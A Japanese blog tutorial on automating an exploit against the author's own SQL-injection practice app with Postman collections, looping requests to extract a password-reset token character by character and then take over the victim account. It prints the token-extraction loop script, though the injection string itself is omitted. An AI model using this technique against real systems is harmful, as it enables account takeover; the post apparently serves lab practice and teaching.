LoginSignup
2
0

SQLiを利用したExploitも書ける。そうPostmanならね。

Last updated at Posted at 2023-12-05

最初に

以下の記事で作ったSQLiがあるアプリに対する一連の攻撃を、
PostmanのScriptによって実現します。SQLi自体については解説しません。
https://qiita.com/k_karen/items/a1768c31989b08267998

Postmanの以下の機能を利用します。

  • Pre-request Script
    リクエスト前に処理をするScript
  • Tests
    リクエスト後に処理をするスクリプト
  • Collection
    リクエスト群、Run collectionでまとめて実行可能(実行上限あり?), setNextRequest の利用
  • Environment
    リクエスト間での情報受け渡しなどに利用出来る。
    一般には普通の環境変数として使われる
  • Postbot
    AIによってスクリプトを作ってくれる便利な機能(実行上限あり?)

各機能を詳しく解説することよりも、
実際に使ってみる例としての側面が強い記事になっています。

より具体的には「条件付きのRequestループをPostmanで再現しよう」というところが肝になってます。
その過程で、幾つかの機能にも触れる記事となっています。

今回の一連のCollectionを手元に再現する方法

実際に作っていく

Exploitは記事の攻撃フローの通りの手順で行います。
https://qiita.com/k_karen/items/a1768c31989b08267998#%E6%94%BB%E6%92%83%E3%83%95%E3%83%AD%E3%83%BC
以下のリクエストが必要になります。

  • 被害者の作成(sign_up, activate)
  • パスワードリセット要求
  • 攻撃者の作成
  • 攻撃者のPost作成
  • SQLiを利用した攻撃
  • パスワードリセット
  • ログイン

これらを一連の処理として、PostmanのCollectionにまとめていきます。

以下は先程取り込みを説明したCollectionを一体どういう手順で作ったかの説明になります。
取り込んでいただいて、不明な点についてはその項を確認いただくのが良いかと思います。

1. Collection/Environmentの準備

  • Collectionを作成
    collectons→ + から Blank collection
    image.png
    この...に色々な設定があります。
    これをクリックして Rename からCollectionの名前を変更しましょう。
    image.png

  • environments(環境変数)の作成
    左のタブでCollectionsが選択されてる状態だと思います。
    Environmentsをクリックして + から Create new enviromentsします。
    image.png
    API(dockerで動いているアプリ)のURLを環境変数に入れます。
    image.png
    ここにはいろんな値を入れておけるので、
    後に利用してリクエスト間の情報のやり取りを行います。
    自分はstaticな値をUPPER_CASEに、
    スクリプトで扱う値をlower_caseに命名しています。

2. リクエストの作成

コレクションに Add request します。
image.png

methodをPOSTリクエストに変更して、
requestURLを {{BASE_API_URL}}/users/sign_up に設定します。
image.png

ランダムなemailとpasswordを作って、
environmentにセットするスクリプト(Pre-request Script)を作成します。
(実際のスクリプトは私のコレクションを確認してください。)

sign_upのAPIを叩く際の手順は以下です

  1. Pre-request Script でランダムなemailとpasswordを作成し、environmentにセット
  2. environmentの値をpostする
  3. Testsのスクリプトでresponseのtokenをenvironmentにセット.

リクエストの に処理したいことを Pre-request Scriptに、
に処理したいことをTestsに書く事ができるということです。
以下にその具体的なscriptとその書き方の一例を示します。

2-1. ランダムな値の生成し, environment経由でRequestにセットする

Testsタブの右上にあるアイコンをクリックすると、Postbotが使えます。
こいつに書きたいスクリプトをお願いするとそれをTestsに吐き出してくれます。
image.png

ここでは、
generate random password and email address, set it for environment value, 'hoge','fuga'
とお願いして Tests に吐き出してもらったスクリプトを Pre-resuest Script へコピーしています。
(hoge, fugaは後に適切な名前に変更しています。)

image.png

pre-request.js
// Generate random email address and password
var randomEmail = "test_victim_" + Math.floor(Math.random() * 1000) + "@example.com";
var randomPassword = "password" + Math.floor(Math.random() * 1000);

// Body 側では {{victim_email}}などとしてこの値を参照出来ます
pm.environment.set("victim_email", randomEmail);
pm.environment.set("victim_password", randomPassword);

このスクリプトによって設定されたランダムなEmailとパスワードはリクエストのBodyで以下のように使えます。
image.png

2-2. レスポンスの格納について

また、このリクエストのレスポンスで帰ってくるtokenをactivateのために使いたいので次のリクエストのためにsetします
Postbotにset response.token value, as "token" として
実際にrequestを送ると、以下のようなscriptを得られます。

response.json
{
    "message": "アカウントを作成しました",
    "token": "kfXs2WhrNLA8g6d7EG39"
}
tests.js
var responseBody = pm.response.json();
var token = responseBody.token;
pm.environment.set("token", token);

3. 他のリクエストも作っていく

以下のように必要な一連のリクエストを作成します。

activate

前のリクエストで取得したtokenをenvironmentにセットしたので、
他のリクエストでもこの値を使う事ができます。
以下のように設定すると、直前にsign_upで取得したtokenをPost出来ます
image.png

login

image.png

me(ログイン済みセッション/cookieであることを確認するAPI)

image.png

PostmanはloginAPIを叩いたときのSet-CookieでSetされたCookieを自動で引き継いでくれるので、認証状態が引き継がれます。
なお、Cookieを消したいときは画面下部(右下)にあるCookiesから編集可能です。
image.png

4. Collectionの一連を流す

※この機能は無料版だと実行回数に制限があるみたいですお気をつけください。
(ただ超えてても実行できたりして意味がわからない、リモートのリソースが不要な機能そうなのになぜ制限があるのか… :thinking: )
https://learning.postman.com/docs/billing/resource-usage/#manual-collection-runner-runs

image.png

image.png

image.png

ということで、一連のリクエストを流すことが出来たので、攻撃の実装に移ります。

5.攻撃部分の実装

ログインまで

もともとのRequestにvictim_というprefixを加えます。
それらをコピーして、hacker_というprefixのものも作ります。
このとき、リクエストBody, Pre-request Script, testsの変数名もhacker_というprefixを足すようにしましょう。

image.png

これで攻撃者のLoginまで完了です。

攻撃下準備

以下のリクエストの作成は割愛します(importしたCollectionを参照してください)

  • 被害者のemailアドレスを使ってpassword reset要求を送ります。
  • count結果を使ったSQLiを実行するので、Count対象になるPostを作成します。

Run Collection時に一部リクエストをループする方法

setNextRequestを使って自分を呼び出し直せます。
environmentでループしている関数を管理できます。

たとえばcount_keyword という名前のRequestを3回実行したい場合以下のようなものを作成します。

tests.js
const LOOP_TIMES = 3 // Loopの回数

const loop_count = Number(pm.environment.get("loop_count") || 1)
pm.environment.set("loop_count", loop_count + 1)
if (loop_count < LOOP_TIMES) { // 3回目は次のリクエストをセットしないので、ここは≦ではなく<です
    postman.setNextRequest("count_keyword")
} else {
    // 繰り返しCollection Runするときのために0をセットしておく
    pm.environment.set("loop_count", 1)
}

6. 実際のExploitのコードをTestsのスクリプトで再現する

今回のExploitでは、tokenの文字列を token like 'a%' のような形で1文字ずつ試し、
countの値が変わったかを確認していくことでtoken全体を得られます。
そのためにトークン候補文字配列の何文字目かその時点でのtokenの文字列の情報を、
ループのリクエスト間で引き継ぐ必要があります。

その場合のスクリプトは以下のとおりです。

(SQLi自体はbodyのkeywordの値に指定されている文字列により発生します。
これについて具体的な値はImportしたCollectionを参照ください。
意味については最初の記事を御覧ください)

tests.js
const range = (start, end) => Array.from({ length: end.charCodeAt(0) - start.charCodeAt(0) + 1 }, (_, i) => String.fromCharCode(start.charCodeAt(0) + i))

// [A-Za-z0-9_-] がtokenの文字列になりうるとしています
const CHARACTORS = [...range('A', 'Z'), ...range('a', 'z'), ...range('0', '9'), '_', '-'];
const INDEX_UPPER = CHARACTORS.length - 1

// Request間で使い回す変数です。
// 何文字目まで確認したかと、今SQLiに指定したtokenの文字列を意味しています。
const arr_index = Number(pm.environment.get("arr_index") || 0)
const current_token = pm.environment.get("current_token") || ''

if (0 < Number(pm.response.json().count)) { // tokenが前方一致なら 0 < countになる
    pm.environment.set("arr_index", 0)
    pm.environment.set("current_token", `${current_token}${CHARACTORS[0]}`)
    postman.setNextRequest("count_keyword")
} else if (arr_index < INDEX_UPPER) { 
    // tokenが前方一致しない場合
    // 次のリクエストに備えて、確認するtokenの最後の文字を
    // CHARACTORS上での次の文字にします。処理は以下のとおりです
    pm.environment.set("arr_index", arr_index + 1)
    pm.environment.set("current_token", `${current_token.slice(0, -1)}${CHARACTORS[arr_index + 1]}`)
    postman.setNextRequest("count_keyword")
} else { // 探索の終了
    // 最後の文字まで検索してもcountが0より大きくならなかったら探索を終了します。
    // このとき最後の文字はtokenの文字ではないので、それを切り捨てたところまでがtokenです
    pm.environment.set("hacked_token", current_token.slice(0, -1))
    // 繰り返しCollection Runするときのためにenvをresetする
    pm.environment.set("arr_index", 0)
    pm.environment.set("current_token", '')
}

Hackしたtokenの確認処理

hacked_tokenに入ってる値をPostして、ランダムに生成したパスワードの変更を試みます。
image.png

あとはlogin, meのコールを行い、victim_meとhacked_meのresponseが同じであることを確認して終わりです。

Persist response for a session のチェックを付けてRun SQLi を押して暫く待つ
image.png

ぐわ〜〜〜っとpassword reset tokenを探すためのcount_keywordへのリクエストがたくさん流れて、
最終的にvictimのパスワードを hacked_your_pass に変更してログインできることが確認できます。

image.png

公開したい場合

Exportからjsonを保存できます。
これをgitのgistにアップロードすることで、他の人とも共有できます。
image.png

(CollectionをPublishsするだけだと、testsなどが共有できなかった)

まとめ

envrionmentはrequest内の

Pre-request
→実際のリクエスト(Body, Headerなど)
→Tests(レスポンス受け取ったあとの処理)

の全てで参照ができる値です。

また request間でもこの値を引き継ぐことが出来る ので、
request間に依存があるようなものでもPostamanで管理ができます。

Cookieなどは自動で制御されて、リクエストに付与されます。
そのため、(cookieでログイン状態を管理してるなら)ログインが必要なAPIのコールなども出来ます。
ちなみに、headerにAuthorizationなどを含めるようなサイトの場合も、Headerをカスタムすれば可能です。

今回はExploitの肝となる部分でTestsをメインに使いました。
environmentとsetNextRequestのあわせ技で、条件付きのループを回すことが出来ました。

補足

Scriptを使わずに、ただランダムな値を設定したいケースでは以下の機能が便利です。
https://learning.postman.com/docs/writing-scripts/script-references/variables-list/

2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0